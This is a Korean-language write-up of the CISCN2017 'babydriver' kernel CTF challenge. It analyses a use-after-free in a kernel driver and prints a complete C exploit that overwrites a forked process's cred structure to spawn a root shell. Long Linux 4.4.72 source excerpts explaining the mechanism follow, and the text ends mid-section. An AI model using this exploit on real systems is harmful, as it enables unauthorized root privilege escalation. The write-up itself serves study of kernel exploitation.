[CISCN2017] babydriver Writeup

문제 풀기

문제 분석

문제 파일: download

다운받은 tar파일 풀면 boot.sh, bzImage, rootfs.cpio 가 있다.

rootfs.cpio이 파일시스템으로 분석해야될 파일을 가지고 있다. 이를 얻기 위해서 아래 명령어들을 쳤다.

mkdir core
cp rootfs.cpio ./core/rootfs.cpio.gz
gunzip ./rootfs.cpio.gz
cpio -idmv < rootfs.cpio

그리고 init을 읽어서 커널 모듈이 어디에 있는지 확인한다.

#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0  -f

/lib/modules/4.4.72/babydriver.ko 에 있어서 디컴파일러에 넣었다.

함수가 7개 있다. 각 함수가 하는 일은 다음과 같다.

init: 생성할 때 쓰인다. insmod할 때 불린다. 이 문제에서는 중요하지 않음
exit: 종료할 때 쓰인다. rmmod할 때 불린다. 이 문제에서는 중요하지 않음
open: open할 때 불린다. dev_stuct에 kmalloc으로 버퍼를 할당한다.
release: close할 때 불린다. dev_stuct에 있는 버퍼를 kfree로 해제한다.
read: read할 때 불린다. dev_struct에 데이터를 복사해 저장한다.
write: write할 때 불린다. dev_strcut에 kernel이 user에게 데이터를 준다.
ioctl: ioctl할 떄 불린다. command가 0x10001이라면 dev_struct을 kfree하고 다시 kmalloc으로 받은 인자 만큼을 할당한다.

할당한 주소를 전역변수에서 사용하고 free하고 초기화를 안해서 문제가 생긴다.

Exploit

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main() {
    // 포인터 2개 만들기
    int fd1 = open("/dev/babydev", 2); // 읽기 쓰기 모드
    int fd2 = open("/dev/babydev", 2); // 읽기 쓰기 모드

    // fork했을 때 생기는 creds 구조체의 크기인 0xa8만큼 alloc
    ioctl(fd1, 0x10001, 0xa8);

    close(fd1);

    int pid = fork(); // 여기서 creds 구조체가 babydev에 있는 주소를 할당 받음
    if (pid < 0) { // fork error
        puts("fork error");
        exit(0);
    }
    else if (pid == 0) { // child일 경우
        char zeros[30] = {0};
        write(fd2, zeros, 28);

        if (getuid() == 0) { // root인 경우
            system("/bin/sh"); // root shell 실행
            exit(0);
        }
    }
    else { // parent인 경우
        wait(NULL);
    }

    close(fd2);

    return 0;
}

fd변수를 2개 만들어서 하나를 release해도 다른 것으로 조작할 수 있도록 한다.
ioctl로 0xa8 크기의 청크를 할당한다. -> dev_struct에 0xa8 크기 청크 존재
close를 통해서 0xa8 크기의 청크를 해제한다. -> 하지만 dev_struct에는 아직도 해제한 청크의 주소가 남아있다. 이를 통해 나중에 접근할 수 있다.
fork를 통해서 0xa8크기의 청크를 creds가 쓰게 한다. -> fork된 프로세스의 권한 정보를 담고 있는 creds에 대한 포인터가 dev_struct애 존재하게 된다.
write을 통해 creds(dev_struct)에 0을 덮어서 fork된 프로세스의 권한을 상승시킨다.
root 쉘을 실행시킨다.

Exploit 설명

fork를 코드를 보자. kernel 들어가서 uname -a를 통해서 커널의 버전을 알아낸다. -> 4.4.72

system이나 execve함수는 새 프로세스를 생성할때 creds를 참고해서 권한을 설정한다. -> creds를 덮고 system함수 같은 거 부르면 덮은 권한대로 새 프로세스가 실행된다.

증명

증명해야될 것

system함수가 creds를 가지고 어떻게 프로세스를 만드는지 <- 익스플로잇에서는 현재 프로세스의 creds값을 덮을 것이기에 현재 프로세스의 creds를 참고하는 것을 증명하기
system함수가 프로세스를 만들기 전 fork에서 creds가 어떻게 준비되는지 <- 포인터를 가지고 있는 0xa8의 청크를 free할 것이기에 creds가 0xa8인지 증명하기

system함수가 creds를 가지고 어떻게 프로세스를 만드는지

libc 에서 system함수는 내부적으로 execve 시스템 콜을 부른다. 커널에서 보자

// /fs/exec.c
// https://elixir.bootlin.com/linux/v4.4.72/source/fs/exec.c#L1732

SYSCALL_DEFINE3(execve,
		const char __user *, filename,
		const char __user *const __user *, argv,
		const char __user *const __user *, envp)
{
	return do_execve(getname(filename), argv, envp);
}

do_execve를 부른다.

// /fs/exec.c
// https://elixir.bootlin.com/linux/v4.4.72/source/fs/exec.c#L1650

int do_execve(struct filename *filename,
	const char __user *const __user *__argv,
	const char __user *const __user *__envp)
{
	struct user_arg_ptr argv = { .ptr.native = __argv };
	struct user_arg_ptr envp = { .ptr.native = __envp };
	return do_execveat_common(AT_FDCWD, filename, argv, envp, 0);
}

do_execveat_common을 부른다.

// /fs/exec.c
// https://elixir.bootlin.com/linux/v4.4.72/source/fs/exec.c#L1504

static int do_execveat_common(int fd, struct filename *filename,
			      struct user_arg_ptr argv,
			      struct user_arg_ptr envp,
			      int flags)
{
	char *pathbuf = NULL;
	struct linux_binprm *bprm;
	struct file *file;
	struct files_struct *displaced;
	int retval;

	if (IS_ERR(filename))
		return PTR_ERR(filename);

	/*
	 * We move the actual failure in case of RLIMIT_NPROC excess from
	 * set*uid() to execve() because too many poorly written programs
	 * don't check setuid() return code.  Here we additionally recheck
	 * whether NPROC limit is still exceeded.
	 */
	if ((current->flags & PF_NPROC_EXCEEDED) &&
	    atomic_read(&current_user()->processes) > rlimit(RLIMIT_NPROC)) {
		retval = -EAGAIN;
		goto out_ret;
	}

	/* We're below the limit (still or again), so we don't want to make
	 * further execve() calls fail. */
	current->flags &= ~PF_NPROC_EXCEEDED;

	retval = unshare_files(&displaced);
	if (retval)
		goto out_ret;

	retval = -ENOMEM;
	bprm = kzalloc(sizeof(*bprm), GFP_KERNEL);
	if (!bprm)
		goto out_files;

	retval = prepare_bprm_creds(bprm);
	if (retval)
		goto out_free;

	check_unsafe_exec(bprm);
	current->in_execve = 1;

	file = do_open_execat(fd, filename, flags);
	retval = PTR_ERR(file);
	if (IS_ERR(file))
		goto out_unmark;

	sched_exec();

	bprm->file = file;
	if (fd == AT_FDCWD || filename->name[0] == '/') {
		bprm->filename = filename->name;
	} else {
		if (filename->name[0] == '\0')
			pathbuf = kasprintf(GFP_TEMPORARY, "/dev/fd/%d", fd);
		else
			pathbuf = kasprintf(GFP_TEMPORARY, "/dev/fd/%d/%s",
					    fd, filename->name);
		if (!pathbuf) {
			retval = -ENOMEM;
			goto out_unmark;
		}
		/*
		 * Record that a name derived from an O_CLOEXEC fd will be
		 * inaccessible after exec. Relies on having exclusive access to
		 * current->files (due to unshare_files above).
		 */
		if (close_on_exec(fd, rcu_dereference_raw(current->files->fdt)))
			bprm->interp_flags |= BINPRM_FLAGS_PATH_INACCESSIBLE;
		bprm->filename = pathbuf;
	}
	bprm->interp = bprm->filename;

	retval = bprm_mm_init(bprm);
	if (retval)
		goto out_unmark;

	bprm->argc = count(argv, MAX_ARG_STRINGS);
	if ((retval = bprm->argc) < 0)
		goto out;

	bprm->envc = count(envp, MAX_ARG_STRINGS);
	if ((retval = bprm->envc) < 0)
		goto out;

	retval = prepare_binprm(bprm);
	if (retval < 0)
		goto out;

	retval = copy_strings_kernel(1, &bprm->filename, bprm);
	if (retval < 0)
		goto out;

	bprm->exec = bprm->p;
	retval = copy_strings(bprm->envc, envp, bprm);
	if (retval < 0)
		goto out;

	retval = copy_strings(bprm->argc, argv, bprm);
	if (retval < 0)
		goto out;

	would_dump(bprm, bprm->file);

	retval = exec_binprm(bprm);
	if (retval < 0)
		goto out;

	/* execve succeeded */
	current->fs->in_exec = 0;
	current->in_execve = 0;
	acct_update_integrals(current);
	task_numa_free(current);
	free_bprm(bprm);
	kfree(pathbuf);
	putname(filename);
	if (displaced)
		put_files_struct(displaced);
	return retval;

out:
	if (bprm->mm) {
		acct_arg_size(bprm, 0);
		mmput(bprm->mm);
	}

out_unmark:
	current->fs->in_exec = 0;
	current->in_execve = 0;

out_free:
	free_bprm(bprm);
	kfree(pathbuf);

out_files:
	if (displaced)
		reset_files_struct(displaced);
out_ret:
	putname(filename);
	return retval;
}

prepare_bprm_creds(bprm)에서 bprm의 creds를 업데이트한다. <- 요건 나중에 살펴보자.

일단 bprm을 어떻게 프로세스로 만드는지를 먼저 살펴보자.

exec_binprm을 부른다.

// /fs/exec.c
// https://elixir.bootlin.com/linux/v4.4.72/source/fs/exec.c#L1479

static int exec_binprm(struct linux_binprm *bprm)
{
	pid_t old_pid, old_vpid;
	int ret;

	/* Need to fetch pid before load_binary changes it */
	old_pid = current->pid;
	rcu_read_lock();
	old_vpid = task_pid_nr_ns(current, task_active_pid_ns(current->parent));
	rcu_read_unlock();

	ret = search_binary_handler(bprm);
	if (ret >= 0) {
		audit_bprm(bprm);
		trace_sched_process_exec(current, old_pid, bprm);
		ptrace_event(PTRACE_EVENT_EXEC, old_vpid);
		proc_exec_connector(current);
	}

	return ret;
}

search_binary_handler을 부른다.

// /fs/exec.c
// https://elixir.bootlin.com/linux/v4.4.72/source/fs/exec.c#L1426

int search_binary_handler(struct linux_binprm *bprm)
{
	bool need_retry = IS_ENABLED(CONFIG_MODULES);
	struct linux_binfmt *fmt;
	int retval;

	/* This allows 4 levels of binfmt rewrites before failing hard. */
	if (bprm->recursion_depth > 5)
		return -ELOOP;

	retval = security_bprm_check(bprm);
	if (retval)
		return retval;

	retval = -ENOENT;
 retry:
	read_lock(&binfmt_lock);
	list_for_each_entry(fmt, &formats, lh) { // formats라는 전역변수에 하나씩 가져와 fmt에 넣는다.
		if (!try_module_get(fmt->module))
			continue;
		read_unlock(&binfmt_lock);
		bprm->recursion_depth++;
		retval = fmt->load_binary(bprm); // 여기서 formats에 있던 fmt의 멤버 load_binary가 실행된다.
		read_lock(&binfmt_lock);
		put_binfmt(fmt);
		bprm->recursion_depth--;
		if (retval < 0 && !bprm->mm) {
			/* we got to flush_old_exec() and failed after it */
			read_unlock(&binfmt_lock);
			force_sigsegv(SIGSEGV, current);
			return retval;
		}
		if (retval != -ENOEXEC || !bprm->file) {
			read_unlock(&binfmt_lock);
			return retval;
		}
	}
	read_unlock(&binfmt_lock);

	if (need_retry) {
		if (printable(bprm->buf[0]) && printable(bprm->buf[1]) &&
		    printable(bprm->buf[2]) && printable(bprm->buf[3]))
			return retval;
		if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)
			return retval;
		need_retry = false;
		goto retry;
	}

	return retval;
}
EXPORT_SYMBOL(search_binary_handler);

fmt->load_binary을 부른다. fmt는 formats라는 전역변수에서 가져온다. formats가 어떻게 세팅되는 지 보자.

// /fs/exec.c
// https://elixir.bootlin.com/linux/v4.4.72/source/fs/exec.c#L72

void __register_binfmt(struct linux_binfmt * fmt, int insert)
{
	BUG_ON(!fmt);
	if (WARN_ON(!fmt->load_binary))
		return;
	write_lock(&binfmt_lock);
	insert ? list_add(&fmt->lh, &formats) :
		 list_add_tail(&fmt->lh, &formats);
	write_unlock(&binfmt_lock);
}

여기서 세팅된다. __register_binfmt는 언제 불리는지 보자.

// /include/linux/binfmts.h
// https://elixir.bootlin.com/linux/v4.4.72/source/include/linux/binfmts.h#L88

static inline void register_binfmt(struct linux_binfmt *fmt)
{
	__register_binfmt(fmt, 0);
}

register_binfmt는 어디서 불릴까?

// /fs/binfmt_elf.c
// https://elixir.bootlin.com/linux/v4.4.72/source/fs/binfmt_elf.c#L2324

static int __init init_elf_binfmt(void)
{
	register_binfmt(&elf_format);
	return 0;
}

여기서 불리는데 이건 모듈이 로드될 때 불린다. 이런 주요 바이너리 포맷 로더 모듈들은 보통 커널 빌드될 때 알아서 같이 들어간다. -> 커널 부팅 과정 중에서 register_binfmt가 실행되고 formats에 elf_format이 들어간다.

// /fs/binfmt_elf.c
// https://elixir.bootlin.com/linux/v4.4.72/source/fs/binfmt_elf.c#L84

static struct linux_binfmt elf_format = {
	.module		= THIS_MODULE,
	.load_binary	= load_elf_binary,
	.load_shlib	= load_elf_library,
	.core_dump	= elf_core_dump,
	.min_coredump	= ELF_EXEC_PAGESIZE,
};

elf_format은 위와 같이 생겼다.

결과적으로 search_binary_handler 함수에서 fmt->load_binary(bprm);은 load_elf_binary를 부른다는 것을 알 수 있다.

load_elf_binary를 보자

// /fs/binfmt_elf.c
// https://elixir.bootlin.com/linux/v4.4.72/source/fs/binfmt_elf.c#L665

static int load_elf_binary(struct linux_binprm *bprm)
{
	struct file *interpreter = NULL; /* to shut gcc up */
 	unsigned long load_addr = 0, load_bias = 0;
	int load_addr_set = 0;
	char * elf_interpreter = NULL;
	unsigned long error;
	struct elf_phdr *elf_ppnt, *elf_phdata, *interp_elf_phdata = NULL;
	unsigned long elf_bss, elf_brk;
	int retval, i;
	unsigned long elf_entry;
	unsigned long interp_load_addr = 0;
	unsigned long start_code, end_code, start_data, end_data;
	unsigned long reloc_func_desc __maybe_unused = 0;
	int executable_stack = EXSTACK_DEFAULT;
	struct pt_regs *regs = current_pt_regs();
	struct {
		struct elfhdr elf_ex;
		struct elfhdr interp_elf_ex;
	} *loc;
	struct arch_elf_state arch_state = INIT_ARCH_ELF_STATE;

	loc = kmalloc(sizeof(*loc), GFP_KERNEL);
	if (!loc) {
		retval = -ENOMEM;
		goto out_ret;
	}

	/* Get the exec-header */
	loc->elf_ex = *((struct elfhdr *)bprm->buf);

	retval = -ENOEXEC;
	/* First of all, some simple consistency checks */
	if (memcmp(loc->elf_ex.e_ident, ELFMAG, SELFMAG) != 0)
		goto out;

	if (loc->elf_ex.e_type != ET_EXEC && loc->elf_ex.e_type != ET_DYN)
		goto out;
	if (!elf_check_arch(&loc->elf_ex))
		goto out;
	if (!bprm->file->f_op->mmap)
		goto out;

	elf_phdata = load_elf_phdrs(&loc->elf_ex, bprm->file);
	if (!elf_phdata)
		goto out;

	elf_ppnt = elf_phdata;
	elf_bss = 0;
	elf_brk = 0;

	start_code = ~0UL;
	end_code = 0;
	start_data = 0;
	end_data = 0;

	for (i = 0; i < loc->elf_ex.e_phnum; i++) {
		if (elf_ppnt->p_type == PT_INTERP) {
			/* This is the program interpreter used for
			 * shared libraries - for now assume that this
			 * is an a.out format binary
			 */
			retval = -ENOEXEC;
			if (elf_ppnt->p_filesz > PATH_MAX ||
			    elf_ppnt->p_filesz < 2)
				goto out_free_ph;

			retval = -ENOMEM;
			elf_interpreter = kmalloc(elf_ppnt->p_filesz,
						  GFP_KERNEL);
			if (!elf_interpreter)
				goto out_free_ph;

			retval = kernel_read(bprm->file, elf_ppnt->p_offset,
					     elf_interpreter,
					     elf_ppnt->p_filesz);
			if (retval != elf_ppnt->p_filesz) {
				if (retval >= 0)
					retval = -EIO;
				goto out_free_interp;
			}
			/* make sure path is NULL terminated */
			retval = -ENOEXEC;
			if (elf_interpreter[elf_ppnt->p_filesz - 1] != '\0')
				goto out_free_interp;

			interpreter = open_exec(elf_interpreter);
			retval = PTR_ERR(interpreter);
			if (IS_ERR(interpreter))
				goto out_free_interp;

			/*
			 * If the binary is not readable then enforce
			 * mm->dumpable = 0 regardless of the interpreter's
			 * permissions.
			 */
			would_dump(bprm, interpreter);

			/* Get the exec headers */
			retval = kernel_read(interpreter, 0,
					     (void *)&loc->interp_elf_ex,
					     sizeof(loc->interp_elf_ex));
			if (retval != sizeof(loc->interp_elf_ex)) {
				if (retval >= 0)
					retval = -EIO;
				goto out_free_dentry;
			}

			break;
		}
		elf_ppnt++;
	}

	elf_ppnt = elf_phdata;
	for (i = 0; i < loc->elf_ex.e_phnum; i++, elf_ppnt++)
		switch (elf_ppnt->p_type) {
		case PT_GNU_STACK:
			if (elf_ppnt->p_flags & PF_X)
				executable_stack = EXSTACK_ENABLE_X;
			else
				executable_stack = EXSTACK_DISABLE_X;
			break;

		case PT_LOPROC ... PT_HIPROC:
			retval = arch_elf_pt_proc(&loc->elf_ex, elf_ppnt,
						  bprm->file, false,
						  &arch_state);
			if (retval)
				goto out_free_dentry;
			break;
		}

	/* Some simple consistency checks for the interpreter */
	if (elf_interpreter) {
		retval = -ELIBBAD;
		/* Not an ELF interpreter */
		if (memcmp(loc->interp_elf_ex.e_ident, ELFMAG, SELFMAG) != 0)
			goto out_free_dentry;
		/* Verify the interpreter has a valid arch */
		if (!elf_check_arch(&loc->interp_elf_ex))
			goto out_free_dentry;

		/* Load the interpreter program headers */
		interp_elf_phdata = load_elf_phdrs(&loc->interp_elf_ex,
						   interpreter);
		if (!interp_elf_phdata)
			goto out_free_dentry;

		/* Pass PT_LOPROC..PT_HIPROC headers to arch code */
		elf_ppnt = interp_elf_phdata;
		for (i = 0; i < loc->interp_elf_ex.e_phnum; i++, elf_ppnt++)
			switch (elf_ppnt->p_type) {
			case PT_LOPROC ... PT_HIPROC:
				retval = arch_elf_pt_proc(&loc->interp_elf_ex,
							  elf_ppnt, interpreter,
							  true, &arch_state);
				if (retval)
					goto out_free_dentry;
				break;
			}
	}

	/*
	 * Allow arch code to reject the ELF at this point, whilst it's
	 * still possible to return an error to the code that invoked
	 * the exec syscall.
	 */
	retval = arch_check_elf(&loc->elf_ex, !!interpreter, &arch_state);
	if (retval)
		goto out_free_dentry;

	/* Flush all traces of the currently running executable */
	retval = flush_old_exec(bprm);
	if (retval)
		goto out_free_dentry;

	/* Do this immediately, since STACK_TOP as used in setup_arg_pages
	   may depend on the personality.  */
	SET_PERSONALITY2(loc->elf_ex, &arch_state);
	if (elf_read_implies_exec(loc->elf_ex, executable_stack))
		current->personality |= READ_IMPLIES_EXEC;

	if (!(current->personality & ADDR_NO_RANDOMIZE) && randomize_va_space)
		current->flags |= PF_RANDOMIZE;

	setup_new_exec(bprm);

	/* Do this so that we can load the interpreter, if need be.  We will
	   change some of these later */
	retval = setup_arg_pages(bprm, randomize_stack_top(STACK_TOP),
				 executable_stack);
	if (retval < 0)
		goto out_free_dentry;

	current->mm->start_stack = bprm->p;

	/* Now we do a little grungy work by mmapping the ELF image into
	   the correct location in memory. */
	for(i = 0, elf_ppnt = elf_phdata;
	    i < loc->elf_ex.e_phnum; i++, elf_ppnt++) {
		int elf_prot = 0, elf_flags;
		unsigned long k, vaddr;
		unsigned long total_size = 0;

		if (elf_ppnt->p_type != PT_LOAD)
			continue;

		if (unlikely (elf_brk > elf_bss)) {
			unsigned long nbyte;

			/* There was a PT_LOAD segment with p_memsz > p_filesz
			   before this one. Map anonymous pages, if needed,
			   and clear the area.  */
			retval = set_brk(elf_bss + load_bias,
					 elf_brk + load_bias);
			if (retval)
				goto out_free_dentry;
			nbyte = ELF_PAGEOFFSET(elf_bss);
			if (nbyte) {
				nbyte = ELF_MIN_ALIGN - nbyte;
				if (nbyte > elf_brk - elf_bss)
					nbyte = elf_brk - elf_bss;
				if (clear_user((void __user *)elf_bss +
							load_bias, nbyte)) {
					/*
					 * This bss-zeroing can fail if the ELF
					 * file specifies odd protections. So
					 * we don't check the return value
					 */
				}
			}
		}

		if (elf_ppnt->p_flags & PF_R)
			elf_prot |= PROT_READ;
		if (elf_ppnt->p_flags & PF_W)
			elf_prot |= PROT_WRITE;
		if (elf_ppnt->p_flags & PF_X)
			elf_prot |= PROT_EXEC;

		elf_flags = MAP_PRIVATE | MAP_DENYWRITE | MAP_EXECUTABLE;

		vaddr = elf_ppnt->p_vaddr;
		if (loc->elf_ex.e_type == ET_EXEC || load_addr_set) {
			elf_flags |= MAP_FIXED;
		} else if (loc->elf_ex.e_type == ET_DYN) {
			/* Try and get dynamic programs out of the way of the
			 * default mmap base, as well as whatever program they
			 * might try to exec.  This is because the brk will
			 * follow the loader, and is not movable.  */
			load_bias = ELF_ET_DYN_BASE - vaddr;
			if (current->flags & PF_RANDOMIZE)
				load_bias += arch_mmap_rnd();
			load_bias = ELF_PAGESTART(load_bias);
			total_size = total_mapping_size(elf_phdata,
							loc->elf_ex.e_phnum);
			if (!total_size) {
				retval = -EINVAL;
				goto out_free_dentry;
			}
		}

		error = elf_map(bprm->file, load_bias + vaddr, elf_ppnt,
				elf_prot, elf_flags, total_size);
		if (BAD_ADDR(error)) {
			retval = IS_ERR((void *)error) ?
				PTR_ERR((void*)error) : -EINVAL;
			goto out_free_dentry;
		}

		if (!load_addr_set) {
			load_addr_set = 1;
			load_addr = (elf_ppnt->p_vaddr - elf_ppnt->p_offset);
			if (loc->elf_ex.e_type == ET_DYN) {
				load_bias += error -
				             ELF_PAGESTART(load_bias + vaddr);
				load_addr += load_bias;
				reloc_func_desc = load_bias;
			}
		}
		k = elf_ppnt->p_vaddr;
		if (k < start_code)
			start_code = k;
		if (start_data < k)
			start_data = k;

		/*
		 * Check to see if the section's size will overflow the
		 * allowed task size. Note that p_filesz must always be
		 * <= p_memsz so it is only necessary to check p_memsz.
		 */
		if (BAD_ADDR(k) || elf_ppnt->p_filesz > elf_ppnt->p_memsz ||
		    elf_ppnt->p_memsz > TASK_SIZE ||
		    TASK_SIZE - elf_ppnt->p_memsz < k) {
			/* set_brk can never work. Avoid overflows. */
			retval = -EINVAL;
			goto out_free_dentry;
		}

		k = elf_ppnt->p_vaddr + elf_ppnt->p_filesz;

		if (k > elf_bss)
			elf_bss = k;
		if ((elf_ppnt->p_flags & PF_X) && end_code < k)
			end_code = k;
		if (end_data < k)
			end_data = k;
		k = elf_ppnt->p_vaddr + elf_ppnt->p_memsz;
		if (k > elf_brk)
			elf_brk = k;
	}

	loc->elf_ex.e_entry += load_bias;
	elf_bss += load_bias;
	elf_brk += load_bias;
	start_code += load_bias;
	end_code += load_bias;
	start_data += load_bias;
	end_data += load_bias;

	/* Calling set_brk effectively mmaps the pages that we need
	 * for the bss and break sections.  We must do this before
	 * mapping in the interpreter, to make sure it doesn't wind
	 * up getting placed where the bss needs to go.
	 */
	retval = set_brk(elf_bss, elf_brk);
	if (retval)
		goto out_free_dentry;
	if (likely(elf_bss != elf_brk) && unlikely(padzero(elf_bss))) {
		retval = -EFAULT; /* Nobody gets to see this, but.. */
		goto out_free_dentry;
	}

	if (elf_interpreter) {
		unsigned long interp_map_addr = 0;

		elf_entry = load_elf_interp(&loc->interp_elf_ex,
					    interpreter,
					    &interp_map_addr,
					    load_bias, interp_elf_phdata);
		if (!IS_ERR((void *)elf_entry)) {
			/*
			 * load_elf_interp() returns relocation
			 * adjustment
			 */
			interp_load_addr = elf_entry;
			elf_entry += loc->interp_elf_ex.e_entry;
		}
		if (BAD_ADDR(elf_entry)) {
			retval = IS_ERR((void *)elf_entry) ?
					(int)elf_entry : -EINVAL;
			goto out_free_dentry;
		}
		reloc_func_desc = interp_load_addr;

		allow_write_access(interpreter);
		fput(interpreter);
		kfree(elf_interpreter);
	} else {
		elf_entry = loc->elf_ex.e_entry;
		if (BAD_ADDR(elf_entry)) {
			retval = -EINVAL;
			goto out_free_dentry;
		}
	}

	kfree(interp_elf_phdata);
	kfree(elf_phdata);

	set_binfmt(&elf_format);

#ifdef ARCH_HAS_SETUP_ADDITIONAL_PAGES
	retval = arch_setup_additional_pages(bprm, !!elf_interpreter);
	if (retval < 0)
		goto out;
#endif /* ARCH_HAS_SETUP_ADDITIONAL_PAGES */

	install_exec_creds(bprm);
	retval = create_elf_tables(bprm, &loc->elf_ex,
			  load_addr, interp_load_addr);
	if (retval < 0)
		goto out;
	/* N.B. passed_fileno might not be initialized? */
	current->mm->end_code = end_code;
	current->mm->start_code = start_code;
	current->mm->start_data = start_data;
	current->mm->end_data = end_data;
	current->mm->start_stack = bprm->p;

	if ((current->flags & PF_RANDOMIZE) && (randomize_va_space > 1)) {
		current->mm->brk = current->mm->start_brk =
			arch_randomize_brk(current->mm);
#ifdef compat_brk_randomized
		current->brk_randomized = 1;
#endif
	}

	if (current->personality & MMAP_PAGE_ZERO) {
		/* Why this, you ask???  Well SVr4 maps page 0 as read-only,
		   and some applications "depend" upon this behavior.
		   Since we do not have the power to recompile these, we
		   emulate the SVr4 behavior. Sigh. */
		error = vm_mmap(NULL, 0, PAGE_SIZE, PROT_READ | PROT_EXEC,
				MAP_FIXED | MAP_PRIVATE, 0);
	}

#ifdef ELF_PLAT_INIT
	/*
	 * The ABI may specify that certain registers be set up in special
	 * ways (on i386 %edx is the address of a DT_FINI function, for
	 * example.  In addition, it may also specify (eg, PowerPC64 ELF)
	 * that the e_entry field is the address of the function descriptor
	 * for the startup routine, rather than the address of the startup
	 * routine itself.  This macro performs whatever initialization to
	 * the regs structure is required as well as any relocations to the
	 * function descriptor entries when executing dynamically links apps.
	 */
	ELF_PLAT_INIT(regs, reloc_func_desc);
#endif

	start_thread(regs, elf_entry, bprm->p);
	retval = 0;
out:
	kfree(loc);
out_ret:
	return retval;

	/* error cleanup */
out_free_dentry:
	kfree(interp_elf_phdata);
	allow_write_access(interpreter);
	if (interpreter)
		fput(interpreter);
out_free_interp:
	kfree(elf_interpreter);
out_free_ph:
	kfree(elf_phdata);
	goto out;
}

좀 길긴하다.

중요한 부분은 install_exec_creds(bprm);와 start_thread(regs, elf_entry, bprm->p); 이다.

install_exec_creds(bprm);에서 creds를 bprm에 세팅하고 이 권한 정보를 가지고 start_thread(regs, elf_entry, bprm->p);에서 실제로 실행한다.

install_exec_creds(bprm)을 보자

// /fs/exec.c
// https://elixir.bootlin.com/linux/v4.4.72/source/fs/exec.c#L1241

void install_exec_creds(struct linux_binprm *bprm)
{
	security_bprm_committing_creds(bprm);

	commit_creds(bprm->cred);
	bprm->cred = NULL;

	/*
	 * Disable monitoring for regular users
	 * when executing setuid binaries. Must
	 * wait until new credentials are committed
	 * by commit_creds() above
	 */
	if (get_dumpable(current->mm) != SUID_DUMP_USER)
		perf_event_exit_task(current);
	/*
	 * cred_guard_mutex must be held at least to this point to prevent
	 * ptrace_attach() from altering our determination of the task's
	 * credentials; any time after this it may be unlocked.
	 */
	security_bprm_committed_creds(bprm);
	mutex_unlock(&current->signal->cred_guard_mutex);
}
EXPORT_SYMBOL(install_exec_creds);

commit_creds을 보자.

// /kernel/cred.c
// https://elixir.bootlin.com/linux/v4.4.72/source/kernel/cred.c#L422

int commit_creds(struct cred *new)
{
	struct task_struct *task = current; // 현재 프로세스
	const struct cred *old = task->real_cred;

	kdebug("commit_creds(%p{%d,%d})", new,
	       atomic_read(&new->usage),
	       read_cred_subscribers(new));

	BUG_ON(task->cred != old);
#ifdef CONFIG_DEBUG_CREDENTIALS
	BUG_ON(read_cred_subscribers(old) < 2);
	validate_creds(old);
	validate_creds(new);
#endif
	BUG_ON(atomic_read(&new->usage) < 1);

	get_cred(new); /* we will require a ref for the subj creds too */

	/* dumpability changes */
	if (!uid_eq(old->euid, new->euid) ||
	    !gid_eq(old->egid, new->egid) ||
	    !uid_eq(old->fsuid, new->fsuid) ||
	    !gid_eq(old->fsgid, new->fsgid) ||
	    !cred_cap_issubset(old, new)) {
		if (task->mm)
			set_dumpable(task->mm, suid_dumpable);
		task->pdeath_signal = 0;
		smp_wmb();
	}

	/* alter the thread keyring */
	if (!uid_eq(new->fsuid, old->fsuid))
		key_fsuid_changed(task);
	if (!gid_eq(new->fsgid, old->fsgid))
		key_fsgid_changed(task);

	/* do it
	 * RLIMIT_NPROC limits on user->processes have already been checked
	 * in set_user().
	 */
	alter_cred_subscribers(new, 2);
	if (new->user != old->user)
		atomic_inc(&new->user->processes);
	rcu_assign_pointer(task->real_cred, new);
	rcu_assign_pointer(task->cred, new);
	if (new->user != old->user)
		atomic_dec(&old->user->processes);
	alter_cred_subscribers(old, -2);

	/* send notifications */
	if (!uid_eq(new->uid,   old->uid)  ||
	    !uid_eq(new->euid,  old->euid) ||
	    !uid_eq(new->suid,  old->suid) ||
	    !uid_eq(new->fsuid, old->fsuid))
		proc_id_connector(task, PROC_EVENT_UID);

	if (!gid_eq(new->gid,   old->gid)  ||
	    !gid_eq(new->egid,  old->egid) ||
	    !gid_eq(new->sgid,  old->sgid) ||
	    !gid_eq(new->fsgid, old->fsgid))
		proc_id_connector(task, PROC_EVENT_GID);

	/* release the old obj and subj refs both */
	put_cred(old);
	put_cred(old);
	return 0;
}
EXPORT_SYMBOL(commit_creds);

new는 새로 실행할 프로세스의 creds이다.

task는 현재 실행하고 있는 프로세스의 creds로 익스에 성공한다면 0으로 덮여있을 것이다.

rcu_assign_pointer(task->real_cred, new);와 rcu_assign_pointer(task->cred, new); 부분에서 현재 프로세스의 creds를 new로 교체한다.

자 과정을 통해서 prepare_bprm_creds(bprm)으로 세팅한 bprm이 어떻게 새로운 프로세스에 적용되는 지를 알 수 있다. <- bprm->creds로 현재 프로세스의 creds를 덮는 다는 것이다.

BUG_ON(task->cred != old); 부분에서 터지지 않나? 라는 생각이 들었는데 찾아보니 task->cred랑 task->real_cred는 특수한 상황이 아니라면 같은 객체를 가리키고 있다고 한다. 그래서 여기서 터지지 않는다.

자 그럼 prepare_bprm_creds(bprm)이 어떻게 세팅되는지를 보자.

// /fs/exec.c
// https://elixir.bootlin.com/linux/v4.4.72/source/fs/exec.c#L1196

int prepare_bprm_creds(struct linux_binprm *bprm)
{
	if (mutex_lock_interruptible(&current->signal->cred_guard_mutex))
		return -ERESTARTNOINTR;

	bprm->cred = prepare_exec_creds();
	if (likely(bprm->cred))
		return 0;

	mutex_unlock(&current->signal->cred_guard_mutex);
	return -ENOMEM;
}

prepare_exec_creds을 부른다.

// /fs/exec.c
// https://elixir.bootlin.com/linux/v4.4.72/source/kernel/cred.c#L292

struct cred *prepare_exec_creds(void)
{
	struct cred *new;

	new = prepare_creds();
	if (!new)
		return new;

#ifdef CONFIG_KEYS
	/* newly exec'd tasks don't get a thread keyring */
	key_put(new->thread_keyring);
	new->thread_keyring = NULL;

	/* inherit the session keyring; new process keyring */
	key_put(new->process_keyring);
	new->process_keyring = NULL;
#endif

	return new;
}

prepare_creds을 부른다.

// /kernel/cred.c
